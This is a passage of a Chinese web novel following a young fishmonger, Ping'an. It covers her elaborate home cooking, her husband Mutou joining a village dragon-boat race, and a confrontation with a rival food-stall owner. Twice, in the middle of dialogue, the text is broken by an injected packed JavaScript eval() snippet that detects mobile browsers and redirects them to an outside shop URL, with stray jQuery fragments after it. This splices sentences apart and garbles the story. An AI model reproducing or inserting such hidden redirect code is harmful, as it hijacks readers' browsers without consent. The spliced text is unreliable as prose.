至于鸡，平安将鸡身一分为二，一半剔骨留肉，鸡架扔进锅中熬制高汤，鸡肉则配笋尖、山药、香芃、松仁切丁做芙蓉鸡；一半则用作口感丰富，汁水充沛的蒸鸡。[1] 新鲜的鸡骨架切块，放入炖锅文火慢熬，如此方能完美释放鸡肉本身的汁气与鲜香。 剔下的鸡肉则剁成肉茸，加入盐、胡椒粉腌制，待鸡汤熬出再另行处理。 而蒸鸡，则用二两油、一碗酒、半碗酱油、茴香、葱、胡椒浸润，尺度应以鸡身浮起半寸最佳。 将浸润好的鸡隔水蒸制，等待的时间，平安开始搓洗猪肚。 猪肚多黏液，用水冲洗几遍后，平安先后用面粉与盐搓揉三遍，这才将猪肚味道去尽。 等把猪肚切丝片粒，平安将蒸鸡取出，在鸡身涂抹葱、酱、椒、盐、茴香腌制晾干，入蒸笼重复蒸制一炷香。 如此一来，鸡肉被蒸熟蒸透，但亦因油水丰润而保留其细嫩多汁的口感。 将蒸熟的鸡肉撕碎，鸡骨扔入鸡汤中，盆中入葱花、蒜末、少许芥辣，再蒸一炷香。 不多时，呛鼻的浓香便随灶房烟气四散飘来。 在外玩耍的狗子闻得这个香味，立马摇头晃脑朝家里跃来。 另起锅烧水，将猪肚入沸水焯至断生后立即捞出，如此方可最大程度保留猪肚的脆嫩口感。 待金黄的鸡汤炖出，舀上一半匀入脆嫩紧实的猪肚上，撒上椒末、葱花装饰调味。 如此，一道入口鲜嫩，脆弹爽口的猪肚假江珧便出锅。 将鸡肉蓉化入鸡汤之中，迅速搅散。新鲜鸡肉遇热瞬间变白，彷如芦苇的白羽漂浮在河面。平安见状，加入焯水过生的笋丁、山药、菌菇、香芃、松仁，小火继续慢熬。 金黄的鸡汤中瞬间浮满雪白的鸡蓉与各色菜丁，不多时，这多味山鲜、地鲜的馥郁香气亦随小火慢慢熬出，与醇厚鲜香的鸡汤融为一体，化作一碗热气腾腾，油润香浓的芙蓉鸡羹。 待忙完这些大菜，平安便开始拌肉片。 瘦肉逆切薄片，焯至微白后取出。 加入酱瓜、糟萝卜、蒜末、橘皮丝、胡椒粉、麻油开始搅拌，待上桌前再加入香醋、芫荽提味。[2] 如此做出的拌肉片，肉质细嫩，入口汁水丰厚，极其香辣爽口。 待爷爷与木头归家，白净脆甜的素炒藕带、香辣爽口的拌肉片、甘旨肥浓的芙蓉鸡羹、细嫩多汁的蒸鸡，鲜美脆弹的猪肚假江珧皆已被摆放整齐。 一家人先喝上一碗鲜浓鸡汤暖胃，再吃上几口肥美多汁的鸡肉，就着香辣可口的蒸鸡与拌肉片，几碗米饭很快下肚。 如今家中债务已清，连爷爷花钱都大气许多，这鸡，还是他点名要做给孙婿吃的。 左右今日这一桌菜，花费不足百文，平安吃起来也未曾心疼。 辛苦一月，爷爷和木头都瘦了一圈，她恨不得每日都给他们炖些补汤喝才好。 再有几日便是端午，随着几声锣鼓声响，村中便传来继续举办龙舟赛的消息。 往年各村龙舟竞渡都是早早开练，今年因着徭役延长，练习时间变短，比赛竟还是正常进行。 龙舟赛在玉溪镇可是一年中难见的盛事，只消有龙舟登江，街头河岸，堤边桥角，皆挤满看热闹的行人。 玉溪镇上的许多商户也因此获利颇丰，每年都期待这龙舟快快登江。 往年平安并未受甚影响，可今年，她亦成了期待的一员。 “龙舟？”木头好奇问道，“好玩吗？” 胡水生举杯轻笑：“那是自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346769|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不光是玉溪镇的村子，还有大河沿岸和云梦湖的村子也会参加。咱们这有句话你可曾听过？” “什么话？” “宁荒一丘田，不输一船水。村里许多未婚的后生可是抢着要登龙舟咧，不过呀，这头桡得有本事的人才当得上，可都得加把劲哟。” 木头讷讷点头，期待地看向平安：“娘子，你觉得我要参加吗？” “左右不过玩几天，累是累，但好玩也是好玩。”他这人一向直接，这会不正面答应，那看来是没太大兴趣。 果不其然，木头用余光瞥了眼爷爷，便看着平安表明心迹：“可是我好久没陪你了。” 他的语调拖得又低又长，透着无尽的委屈，平安听得老脸一红，暗暗瞪他一眼。 嘴上说完，他人亦不老实，早已借着桌背的遮掩，偷偷握紧平安的手。 “能给村里争光，要是赢了可还有彩头，咱们都能沾上光，吃餐好席。” “去试试吧。”她摇了摇他的手，温声鼓励。 “那。” “到时候我在岸边陪着你。” ...... 好话说尽，总算把木头劝入参赛的队伍。 孰料到了村长家，报名的人已挤满厅堂，还需等村中记名造册，试过水平后才能决定正式参赛人选。 看着对手颇多，木头的兴致方高昂起来。 待得晚间，平安与他提及卖鱼丸之事。 “你看，到时候你们划得好，看的人也多，我这鱼丸自然就多多的人买。” “嗯嗯，那是好事。” “只是最近天热，想来清凉饮子和冷淘更好卖，明日我再去河边看看情况。” “那是，那是。” 看他一边囫囵点头，一边脱得清凉，平安站起身来不悦质问：“喂？你。” “唔！” 平安瞳孔微震，尚未出口的话瞬间被温热的唇瓣堵住。 40. 杀鱼的第四十天 虽是上午，可太阳高照，人群亦极为拥挤闷热。 平安挤在其中，只想喝上一碗冰冰凉凉的美味饮子解解暑。 果不其然，方娘子的豆腐脑生意比她的要紧俏许多，早早便卖完离去。 不过，等到临近饭点，她的生意亦逐渐起来。 纵使无人搭话，平安也开始用油慢慢煎炸起鱼丸来。 她今日做的鱼丸，虽不过寸余宽度，但用料扎实，颗颗圆润精致，经得铁锅与薄油的高温炙烤，雪白的鱼丸瞬间裹上一层金黄漂亮的虎皮，散发出幽幽荤香来。 许多看热闹的人，多的是午间不愿回家的。 这会众人闻着这诱人的焦香，又看她还在上边撒上香料与酱汁，自个吃得津津有味。 一时间，众人也不由馋得暗吞口水。 平安笑着咽下最后一口鱼丸，吆喝道：“好吃又便宜的鱼丸了，一文钱一粒，两文钱三粒了。” 听她这价格也不贵，许多被这香味香迷糊的孩子纷纷闹着要买。 许多大人自己不舍得吃，可一年难得出来消费几次，见孩子哭闹，也只好心疼地掏出铜板买上一两文钱的尝尝味。 当然，最后吃这鱼丸的人，除了小孩，还有大人。 这金黄鱼丸一入口，便瞬间惊艳他们的味蕾。 鱼肉外焦里嫩，肉质细嫩弹韧，却不失鲜香水嫩。咬上一口，浓郁的焦香、油香与鱼鲜自带的鲜香在唇齿间交融碰撞，散发出独特的咸鲜滋味。 鲜，真鲜！ 不少手中宽绰的人尝了味，立马朝平安唤道：“再给我来两文的！” 时人皆爱起哄凑热闹，见有人如此看好这鱼丸味道，便也一拥而上，想要试个味道。 平安的生意这才慢慢好转。 “我在档口卖鱼，这鱼丸档口也有卖，十二文一斤，够吃上好久。” “是的，是的，我是月河村的。” 平安一边下鱼丸用长筷慢慢拨弄，一边回答众人的提问。 等她擦了把汗歇气，却见他们村那艘睚眦大傩龙舟这会已停至桥边码头。说是龙舟，但谁也不敢用龙首做船头，只得退而求其次，用了龙九子图案彩绘在船首。 平安正搜寻着木头的身影，眼睛已被人从身后捂住。 熟悉的声音俏皮传来：“猜猜我是谁？” 平安粲然一笑，答道：“猜不到，怕不是哪里来的登徒子？” “娘子！” 眼前恢复光亮，身后传来木头的跺脚哀叹。 平安转身，用竹签戳着鱼丸送入他口中。 “怎么，村里准备休息了？” “是。”木头嚼着鱼丸囫囵应是，他指着码头边搭建的茅草棚，小声叹道，“还是娘子你做的饭香，我心中想你得紧，三俩下扒完就上来找你了。” “可吃饱了？”平安小心翻拌着锅中的鱼丸，又替他叉上一串。 “娘子做的东西，我怎么吃也吃不饱。”木头接过鱼丸，笑得谄媚。 “就嘴贫。” 他几口吃完鱼丸，便夺过平安手中长筷：“娘子你先歇着吃点东西，我来给你煎。” 平安也未推辞，从推车旁取出她早就备好的槐叶冷淘，再从罐中取出酱汁开始搅拌。 如今天热了起来，她午食也不想吃热的，这道清凉爽口的槐叶冷淘吃着正正好。 他们这做槐叶冷淘，有好几种做法。 有将面团揉搓出麦麸，用澄清的粉浆上蒸屉过水，蒸出轻薄略透，颇有韧性的面皮的。 还有将早稻粳米磨成浆，入碱水，重复前述蒸制步骤，出来的米皮亦柔韧香软，色泽翠绿。 平安今日做的，便是第三种，最为简单便捷。 早上出门前，她便采来尚带着露珠的槐叶枝，里面的槐花去梗浸泡，与面粉鸡蛋拌匀，煎成了几个香气扑鼻，软糯适中的槐花饼。 而枝丫上最嫩的槐叶，则被她捣碎挤出翠绿的汁液，混合进面粉之中，灰白的面粉遇汁瞬间变成翠绿的棉絮。 待面粉揉搓均匀，醒发成光滑的嫩绿色面团。 平安便将它擀成薄片，切成半指宽的细缕。 再撒上油上锅蒸制，蒸熟的翠缕色泽依旧，清澈不黏团。 只需在食用时拌上香喷喷的葱油、蒜水、香醋与香油，再加上些嫩绿的脆甜青瓜丝做辅，那酸辣爽口的滋味，在这炽热的夏日，比肉还要香。 平安留了一些在家中给爷爷，剩下一半则被她带来镇上。 她一边拌，身侧的木头一边回首，待她看过去，他又立马收回视线，只低头盯着锅中的鱼丸。 说起来，木头今日的确还未吃过。 平安心下犹疑，她只带了一双筷子出来。转念一想，竹签倒是有多的。 将这大碗冷淘搅拌均匀，平安瞥了眼木头，见他这会亦抬眸望来，眸中尽是涟涟水汽。 虽他未明说，但平安也不好装未看见。 她指着竹罐问道：“要不，你拿竹签吃几口尝尝味？” “这？”木头闻言，犹疑地扫视四周，待见得碗中那青绿爽口的冷淘，也不禁暗咽口水。 “可以吗？” 平安轻笑一声，取出装酱汁的罐子，给他夹上好几筷，自己则取了几颗鱼丸放入碗中。 木头见状也不再客气，拿着竹签大口吞咽起来。 “真香啊，娘子，我明日也想吃。” 饿了半晌，口中终于品到酸辣清爽的冷淘，平安心情也霎时明媚起来。 她睨了眼旁边潺潺流动的溪水，笑着应道：“早上吃还是午间吃？” “午间，吧。”木头顿了顿，抬眸观察平安脸色。 “成。” 一旁的行人见得夫妻俩吃得津津有味，也不由好奇问道：“哪里买的，看着可真香。” 木头回道：“我家娘子做的，可比买的好吃。” 见得这夫妻俩一个赛一个齐整，那人笑着称赞：“可真是金童玉女，天造地设的一对儿。” 平安尚未开口，木头便接话笑道：“那是，您若是尝尝我家娘子做的鱼丸，那您就知我家娘子不但模样好看，那手艺也是没得话说。” 问话这人穿着打扮不似普通百姓，这会听得木头吹嘘，便也好笑答应：“年纪轻轻，口气倒不小。那你说说，这鱼丸如何卖？” “一文一个，两文三个，您看要多少？” “先来三个试试。”他掏出两个铜板。 “好咧。”木头赶忙替他戳上三颗鱼丸。 一边递一边说：“您尝尝就知我没有夸大。” 那人接过鱼丸，慢条斯理地咬上一口，倏地，他动作一顿，意味深长地打量两人一眼。 “这些全给我包了。” “果真？”木头兴奋不已，又是一番好话奉上，直将那人哄得眉开眼笑。 平安则迅速数着锅中鱼丸数量，这丸子还剩三十二颗，她笑道：“两文三颗 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一来可以摸清对手底细，二来则可以精练技巧，壮壮士气。 五黄六月，正是暑气蒸腾之际，平安躲在树荫下没一会，前胸后背便已被热汗浸湿。 她今日穿着的麻布交领短褐，湿漉漉地贴在身上，显露出年轻姣好的曲线来。 看着自个前胸后背的深色汗印，平安颇不自在的拎了拎衣领。 或许，她明日该学学方娘子，穿个抹胸褙子了事？ 她这会没干活尚且热得喘不过气，更别提船上花大力气划舟的村民。迎着晃目的金色日光，平安瞅着那些船来来往往，船上的人衣服越来越少。 等到龙舟再次经过桥墩，就听得木头在那沸反盈天的喧嚣声中大声唤她。 “娘子！娘子！” 平安闻声走近，就见船上飞出一件短褐，朝她迎面罩来。 “接着。” 平安下意识伸手拽住，舟上顿时掀起笑声一片。 光着膀子的木头亦随众人起哄，咧着一口白牙，笑嘻嘻地望向她。 因着连续多时划船不歇，他鬓边额角皆已被汗浸湿，这会滚烫的汗珠亦随着他的下颌滚落至脖颈与前胸。 在明媚的日光之下，那些悠长的汗线与圆滚的汗珠在他小麦色的肌肤上散发着莹润的耀眼光芒。 岸边观战的年轻娘子小媳妇，也眼尖地从人群中发现了他。 这样年轻俊朗，五官立体的郎君，挤在一船普通长相的人中间，无异于鹤立鸡群。 一时间船上砸落无数花朵香囊，木头见状，亦回首朝她们招手。一声锣鼓声响，他便执桨随乡邻继续往前行舟。 木头此举，引得岸边的尖叫声愈发刺耳。 平安后知后觉地发现，在她心中一向无甚力气的木头，身上竟也隐隐有了一层薄肌。 随着他划桨破水的动作，他肩背与胳膊的肌肉亦因使力而紧绷，显露出结实流畅的线条来。 平安没在镇上看太久，与木头打过招呼后，她便回家忙活起家中事来。 除了忙活家务，准备明日摆摊的葱油酱料外，每至夏日，她便会为爱酒的爷爷备上几份荷香清冽，鲜香隽永的碧筒酒。 若是天公作美，端午当日，他们便可同饮此酒。 最近日头正好，正适合酿制，她得早早回去准备才是。 41. 杀鱼的第四十一天 这碧筒酒，顾名思义，便是以夏季碧荷为筒，入酒束之。 平安归家后，便取木盆、清酒、鱼鲊往南边莲塘而去。 待打开自家荷塘栅栏，平安便将采菱的木盆放置水面，小心踏了上去。 蓦然承受重量，木盆在水中摇曳半晌，终是慢慢维持住平衡。 抬袖擦了擦额间汗水，平安用竹竿轻拨水面，木盆便压过数根荷杆，从藕荷的缝隙间往塘心穿去。 见已离岸数米，平安方寻了几片大的荷叶，拢成筒状，放入清酒与鱼鲊后，以干荷叶做盖，用草绳封口束紧。 掩盖好行船痕迹，平安喂完鱼，便将篱笆锁上。 如此，这碧筒酒前期的准备工作便全部完成，只待风薰日炽，酒香鱼熟，便可在某个晴日来塘中收酒。 前几日她从田里溪边摸了半桶田螺，她日日换水吐沙，今日瞧着水面清澈，想来已吐得干净。 将买回来的大棒骨焯水，放入炖锅中熬汤，平安便开始弯腰处理田螺。 看着面前这灰扑扑的半桶小螺，尚未提刀，平安便已觉手掌绵软。这指甲盖大小的田螺，一颗颗处理起来那是真的磨人。 只是一想到它味的鲜美，她也只得擦干汗，咬咬牙继续干。 将螺蛳桶中的水沥干，用清水淘洗几遍后，撒上醋和和少许盐末开始抖落翻拌。 待桶中再度出现浑浊的水渍，平安打来清水继续冲洗。 接下来，才是费功夫的程序。 这田螺尾部皆有一个螺旋状尖尖，若是想吃着干净，下锅前，必须得处理掉不可。平安取来砍刀，耐心地拈起田螺，将尾部逐一切除。 忙活半晌，也才将将理出一小碗。 不过这些用来熬汤也够了，剩下的田螺，平安则用竹签挑出螺肉，拽掉下方不可食用的肠肚。 这样挑出的螺蛳肉，干净无泥腥味，入口嚼劲鲜爽，可以现炒，也可晒干后储存。 每到田螺繁盛的季节，镇上百姓的饭桌上，便会接连出现田螺踪影。 这东西，虽然处理麻烦，吃也麻烦，但因它那独特的鲜香，许多人依旧对它爱不释手。 或是加上卤水茱萸用铁锅爆炒，取竹签做工具，做一道汤汁醇美，香辣鲜香的下酒菜。 或是挑出螺肉，用紫苏与辣酱共炒，做一盆香辣扑鼻的下饭菜。 许多人不知道的是，这螺肉与骨头汤、肉醢一同熬制，便能做出一锅极其鲜美的时鲜高汤。 平安今儿，正是想以这道鲜香的高汤为底，做一锅鸭爪鸭杂煲。 吴婶最近接了大单，她便给平安留了些鸭肠、鸭头，鸭翅与鸭爪。 平安正愁每日如何做些开胃的荤菜，便接到这股及时雨。 待田螺处理干净，平安留了部分煲汤，剩下的螺肉则被她放外边簸箕开始晾晒。 去尾的螺蛳与鸭杂照例焯水去腥，盛出备用。 锅烧干热油，下大葱、蒜米、姜片、酱汁与香料开始煸香。 待闻见香味，即可下田螺过热油爆炒。 夹出炸焦的配料，将炒好的田螺、春日腌制的白嫩酸笋、坛中取出的肉醢放置于骨头汤中继续炖煮。 如此熬制的高汤，既有骨头的油香，又兼有田螺独特的鲜味，还略带少许酸香风味。 熬煮出的高汤看着颜色清淡，但浅尝一口便知它的味美。 这汤，平安舀上一碗养了养卤水，剩下的一部分做煲，一部分则用来配明日早上的汤饼。 另起锅，放油炸制鸭头、鸭翅与鸭爪，下入酱汁上色，雪白的鸭货瞬间染上淡淡一层红酱色。 当然，想得到一锅甘旨肥浓，汤鲜味美的螺蛳鸭杂煲，这些配料远远不够。 平安从碗橱中扒拉出一个小罐子，这里面放着她自个秘制的甜酱。 每年豆子丰收，她便会自己酿制酱油与制酱，这甜酱，便是她的得意之作。 原材料除了寻常的豆面盐外，她另添加了一味梅卤与这甜酱同熬。这样做出的甜酱口感清爽，入口甜而不腻，无梅的酸，却有梅的香。梅卤中的酸香完美地中和了酱的甜腻，使得这甜酱自带一股清冽的香气。 舀上一小勺入锅中提鲜，平安再入几味香料，翻炒出香，便倒入高汤，开始用砂锅文火慢煲。 如今地里的雍菜早已抽条而出，叶片细嫩绵软，叶杆清脆水嫩，整整齐齐长在地里，看着十分惹人爱。 这雍菜既可最后焯入螺蛳煲中，也可用来做配菜。但平安今日不想让素菜坏了汤，便打算用它来做两道配菜。 将雍菜枝叶分离，分别洗净。 等锅中水沸，化入猪油与盐，便将这绿油油嫩生生的叶尖尖汆入油汤之中，一碗入口柔软的雍菜尖便做成。 至于杆杆，则切成寸长，直接下入干锅中煸炒，待见得水分蒸腾，便可下油、蒜末、豆豉、盐一同爆香。 如此炒制出的雍菜杆，蒜香浓郁，口感脆爽，咀嚼间若能间或品到一两颗豆豉，那咸香风味更甚，让人不由口齿生津。 菜刚做好，门外便传来灰灰与小白的嘤嘤叫声。 接着，木头的清越嗓音亦随之幽幽入耳。 “娘子，爷爷，我回来啦！” 平安从窗口往外瞄去，就见他正光着膀子，弯腰逗弄狗子。透过半开的门缝，平安瞧见他的身后隐隐还有几个熟悉的人影从门前经过。 平安这会也不需喊爷爷吃饭了，见得孙婿归来，他忙不迭从竹编中抽出身。 他今日接了好几个活，平安喊他歇息都喊不动。 再过一月，她堂叔家的女儿要出嫁，正要寻两床上好的水竹凉席做陪嫁，这桩大单便落到经验丰富的爷爷手里。接了大单，爷爷可谓是废寝忘食，只一味埋头苦干，好半晌都未曾抬过头。 “可真香啊！”木头耸了耸鼻子，闻着空中传来的幽幽香味，他顿感腹中空鸣，馋虫骤起。去玉溪河划这船既要速度快，又要用劲，还得耐力持久。如此这般在船上重体力消耗整日，还偷不得闲，木头早已心力交瘁，只觉得这活和徭役有得一拼。 但娘子也没骗他，好玩是真好玩。 当船桨拿在手中，所有人竭尽所能，齐心协力地朝一个目标奋进。在那一刻，他脑中只有终点，眼里只有指挥，耳边除了锣鼓声外再无其他声音。 这种感觉让他新奇又兴奋，他好似很久未曾这样不遗余力地投入一件事中了。 村中这些划船的劳力不少与他一块参加过徭役，多日相处下来，一行人早已混熟。 这会见得木头归了家，他们朝里边瞥了眼，便也各自归家去。 平安推开灶门，问他：“他们是？” 木头回头望了一眼，不在乎地挥了挥手：“他们顺路，就和我一块回来了。” 平安淡淡睨了外边一眼，只默默点头，不再多问。 木头一向是没心没肺，见得她出了门，便自然而然地揽住她：“娘子今日可做什么好吃的了？方才在路边我们便闻见这股香味，大家伙还在议论是谁家做的饭呢。” 说罢，他喜滋滋低头，对着平安耳畔低语：“我就知道是娘子做的，我才不告诉他们，馋死他们。” “稚气。”平安点了点他，这才后知后觉发现他光着膀子，只得默默收回手，无奈轻笑。 爷爷撑着门框问道：“榆明，回来了。今朝划船还适应？” 木头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14379532|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头应是：“适应的，爷爷，比徭役可轻松多了。”他顿了顿，又找补道，“起码，用完午食还让歇息。” “那就好，进屋歇着，快吃饭了。”爷爷捶着腰背，收拾好他的竹编，慢悠悠往桌边走。 平安则进了灶房查看她的螺蛳煲，掀盖一看，一股浓郁的香味便随着白雾般的热气渺渺逸出。 而锅内更是咕噜冒泡，里面的鸭货早已炖得浓油赤酱，胶质满满。 她夹出一个鸭掌，酱色的鸭掌连连滴落汤汁，平安夹住它甩了甩，这鸭掌亦随她的动作在筷著中颤颤巍巍，上下摇晃。 “喏。”她将鸭掌递给木头。一句小心烫嘴还未来得及说出口，木头这懒人已张嘴一口咬下。 滚烫的鸭掌一入口，便直烫得他两只手连连朝嘴中扇风。 “汤汤汤！”他囫囵着叫出声来，平安要替他拿出，他却避开她的手，缓了一会才道，“不用了娘子。” 他闭上眼惊叹道：“鲜，和鱼汤骨头汤都不一样的鲜，这是用什么东西熬制的？” 两人端着菜碗，一路聊至堂屋。 到了桌上，今日这三道菜极受欢迎。 平安也终于品到了她做了许久的螺蛳鸭杂煲，鸭掌早已被炖得软烂脱骨，一抿既化，鸭掌筋和鸭肉很快在舌尖剥落，吃起来十分满足；而鸭翅外糯里嫩，口感极其细嫩；鸭肠则弹脆有嚼劲，一口下去，裹挟着浓郁的汤汁；至于鸭头，她不想剥，便也没动筷子。 虽口感各异，但这些鸭杂无一例外，均吸满了浓郁鲜美的汤汁。 连一向话多的木头，这会也是少有出声，吃了一口又一口。 平安将汤底的螺蛳舀出，对着木头道：“呐，就是它和棒骨、肉醢，酸笋一起熬制的。” 木头嘿嘿一笑，直勾勾地盯着平安。 相处数月，她哪能不知道他的意思，遂好笑道：“汤底还有，我留了一半，明早咱们煮汤饼吃。” 爷爷也接话：“那敢情好，咱们怕是鲜得舌头都要咬掉。” 天气炎热，晚间蚊虫蛇蚁横行。待听得青蛙呱呱叫起，一家人早早吃完晚膳，便开始各自忙活起来。 平安提了个篮子，将白日疯长的青瓜和成熟的丝瓜摘下，又提桶给菜苗泼完水，这才洗净青瓜，边走边嚼用起来。 这新摘下的青瓜青翠水嫩，入口嘎嘣脆，用来消磨消磨时间倒是个好选择。 木头见状亦很是稀奇，叫嚣这也要吃。 “早给你留着呢。”平安指了指饭桌上的篮子，无奈笑道。 “还是娘子对我好。” “怎么，难道爷爷对你不好？”她调侃道。 不察她如此不解风情，木头一噎，抬头望了眼浩瀚无垠的星空，酝酿半晌后方应道：“那不一样。” 两人闹过一阵，因都忙活整日，明儿又得早起，便将蚊帐拢好，早早歇下。 幸好次日天气依旧晴朗，平安卖完鱼后照例推着炉灶去了桥边叫卖。 只不过，这次她还多带了两块悬挂收纳的木板，一层用来放调料，一层用来放槐叶冷淘。 今日她生意倒是比昨日要好上许多，许是昨日鱼丸合口味，今日竟来了不少回头客。 昨日那包下鱼丸的客人今日亦早早来河边观赛，见得平安，他朝她轻轻颔首，等看过几轮竞渡后，方信步走到摊前。 “小娘子，来一份冷淘。” “这会就吃？”平安诧异，这可还没到饭点。 那人点点头，只道：“你只管做。” 闻言，平安亦不再多问，只挑出几筷冷淘，加入调料开始翻拌起来。 不多时，一股幽幽醋香便从她这小摊传来。 42. 杀鱼的第四十二天 艳阳高照，暑气蒸腾。 许多人闻着那若隐若现的香味，不由吸了吸鼻子，四处寻觅这香气来源。 那中年汉子买了份冷淘，便挨着树荫就地品尝。 瞧他埋头吃得津津有味，一时间，好些人都被他这认真的吃相吸引，瞬觉肠鸣阵阵，恨不得也同他一般来上一碗解解腹中饥荒。 就这么好吃？ 平安虽躲在树荫下等客上门，但也密切关注着四周情况，这正是揽客的好时机。 见那些人犹豫不决，她立马朗声吆喝： “槐叶冷淘三文一碗，鱼丸一文一粒，两文三粒啦！” 见她并未漫天要价，一些人便渐渐朝树边靠拢。 待那客人抬首，便见许多人正直勾勾地盯着他瞧。 他细嚼慢咽将口中食物吞下，这才点了点碗中青碧的冷淘，赞道：“好吃的，咸香酸辣，清爽开胃，各种香味搭配得正正好。” “果真？” “骗你们作甚。” “那给我也来一份，小娘子！” “好。”平安朝那客人颔首致谢，忙不迭应下。 来看龙舟的人多是附近村镇居民，身边亦多熟人亲友。 待尝过她的鱼丸与冷淘，便口口相传，给她引来不少新客。 就当她这摊位生意正旺时，一旁卖拌米皮的摊主竟上前推搡闹事。 平安猝不及防被推得往前一个趔趄，幸得她下盘稳当，这才没有扑倒在摊位上。 出于防卫的本能，在受到攻击之际，她下意识便朝后肘击。 那壮汉被她这一击撞得手腕火辣辣地疼，又拉不下面子呼痛。 再见得她不如自己料想中的踉跄倒地，他心下恼怒，当下厉声喝道： “让让，让让！你占着我的地了。” 平安回头，便见一身着灰色背心的赤膊壮汉，正满脸怒气地站在她身后。 几名客人被他这凶煞模样赶走，平安手中也没了活。 她睨了他一眼，并未言语。只转身将油锅盖子盖好，又将炉灶的火塞塞上，只留个小孔通风。 做完这些，她方垂眸微笑，不疾不徐回道：“你这就说笑了，我并未占你位置。” “你这小娘们，还说没有？”那人向前逼近一步，指着身后斜对面的档口大声叫嚣。 平安放目远眺，果真见那河堤尽头，隐有一家卖吃食的老旧档口。档口外边挂着一块字迹模糊的幡布，隐约可辨出汤饼、馄饨几字。 “你抢生意抢到老子家门口来了，你还挺能耐。” 看那壮汉语气愈发不耐，一旁看热闹的人忙上前说和。 “哎，莫激动莫激动。” “就是就是，乡里乡亲的，莫要伤了和气。” 平安轻轻抿唇，漫不经心地松了松手掌筋骨。 “那你待如何？”这可是跨河堤碰瓷，碰她身上来了，那么多人生意比他都好，就捡着她来，是觉得她是个软柿子？ “滚远点。”那人看她音调柔柔，不屑吭哧一声。 “滚？”平安好笑地睨他一眼，“这里是河堤栈道，我现在站的地方是官家的地，而非你的档口。做生意向来是各凭本事，你这个要求恕我能不答应。” “你。”那壮汉上前一步，正欲挥拳，就瞧见四周的百姓正目不转睛地盯着他瞧，便也只得暂时歇了揍这娘们一顿的心思，“好，那我就站在这，看谁敢来你这吃！” “新盘的店？”平安轻嗤一声，好笑问道。这人莫不是傻子，想出这种伤敌一千，自损八百的法子。 “关你屁事，老子就是玉溪镇人，别扯那些有的没的。” 见有热闹可看，两人周围迅速围拢许多百姓，一时间，四周议论私语不止。 “就各让一步，各占一边吧。” “你这大男人也别欺负人家小娘子。” “和气生财，和气生财。” 平安闻言接话：“我亦想和气生财，可他这个要求实在无理。” “我一未在他档口正门摆摊，二未对他的摊位行贬低之事，我们各占一团树荫，如何说得我占了他的位置？” 说罢，平安指了指四周的客人：“我能有生意，皆是仰仗各位乡邻信任。我自认做人也好，做生意也罢，都需脚踏实地，苦修功底，只有自己功夫到位。” 她话未说完，那人便恼羞打断：“闭嘴。” 一些人知晓前因后果之人早已心知肚明，这男摊主嫉妒她生意好，这才想将她赶走。 谁知这小娘子竟也是个不怕事的，方惹出这桩纠葛来。 有好事者便畅言：“那不如你们两就换个位置？” 看着身边围拢越来越多的人看热闹，那壮汉指了指东边：“叫她去那边。” 平安往那边一看，那里早已挤满了卖饮子酥山的摊位，树荫下哪里还轮得到她。 她美目微阖，如鸦的睫羽半垂，遮住瞳中的暗光。不到万不得已，她真的不想在人前惹事。 平安指节暗自摩挲，她自认自己算是讲理，奈何这人顽固不化，若是真打起来了，那就莫要怪她。 “我就。” “她就不去！” 两道声音不约而同响起，平安回首望去，原来是木头带着村里人赶来。 “你又是谁？”那摊主婆娘见得事情闹大，也忙从档口赶来给自家汉子撑腰。 “你管我是谁，光天化日之下你们欺负人还有理了？我家娘子好好的在树下摆摊，你们竟强词夺理说她占了你位置，那么多摊主你们都不赶，就盯着我娘子一人欺负，实在是过分。” 木头指着河边一排摊位，扬声驳斥：“有种你们把那些人全部赶走，对着官府的说这河边全是你家的地？” “也有点道理。”见他将其他人也拉下水，不少人小声嘀咕。 “我说咋替这小娘们说话，原来是姘头。” 看这些人这样蛮横，木头不禁火冒三丈：“我可去你大爷的，你们才是姘头，我与我家娘子是拜过天地的正经夫妻。” “就是。”村里的二牛也应声赞同，“咱们也是玉溪镇的人，你们莫要欺负我们村的人。” 骤然得到村人关怀，平安颇有几分受宠若惊。这倒是破天荒了，看来这段时日木头与他们关系处得挺好。 “这是要比人多吗？老娘可不怕你们。”说罢，那婆娘竟真转身往西边跑，从一个草棚下喊来一串赤膊汉子。 看那些人长相与她还有些许相似，平安估计都是她娘家那边的人。 那些汉子各个横眉立目，膀大腰圆。乍一过来，围观看热闹的人群便被唬得往外退了一圈。 “咱们芳洲村可就在镇上，你们这些乡下来的乡巴佬还敢欺负到我头上？嗯？” 听她语气猖獗，竟还厚颜倒打一耙，平安也来了脾气。 她深吸一口气，下最后通牒：“本就是各做各做的生意，你们现在离开，大家就各让一步，当做什么都未发生。” 村中众人亦附和：“我们村的人就在前面，你们莫要欺负人。” 那边自诩是地头蛇，自是不服这些乡下来的，狠话连连输出。 双方各峙一方，脏话连篇，俨然是剑拔弩张，混战一触即发。 往年龙舟赛就有不少村子因琐事发生冲突，用柴刀、锤子斗殴之事时有发生，死死伤伤乃是常事。 为此，每年龙舟竞渡，村里都与镇上签了令状，不得寻衅滋事，打架斗殴，违者将被免除参赛资格。 若是人少也就罢了，这种虚胖的男人她一拳一个，几下就能打趴。可这会围观者众，两村之人皆被拉扯下水。 眼见事情越闹越大，平安不欲事态因她而发展到那个地步，她朝木头低语嘱咐几句后，拨开人群就往北边官署跑去。 “你跑什么？”那摊主婆娘上前拽住平安，却被她灵巧躲过。 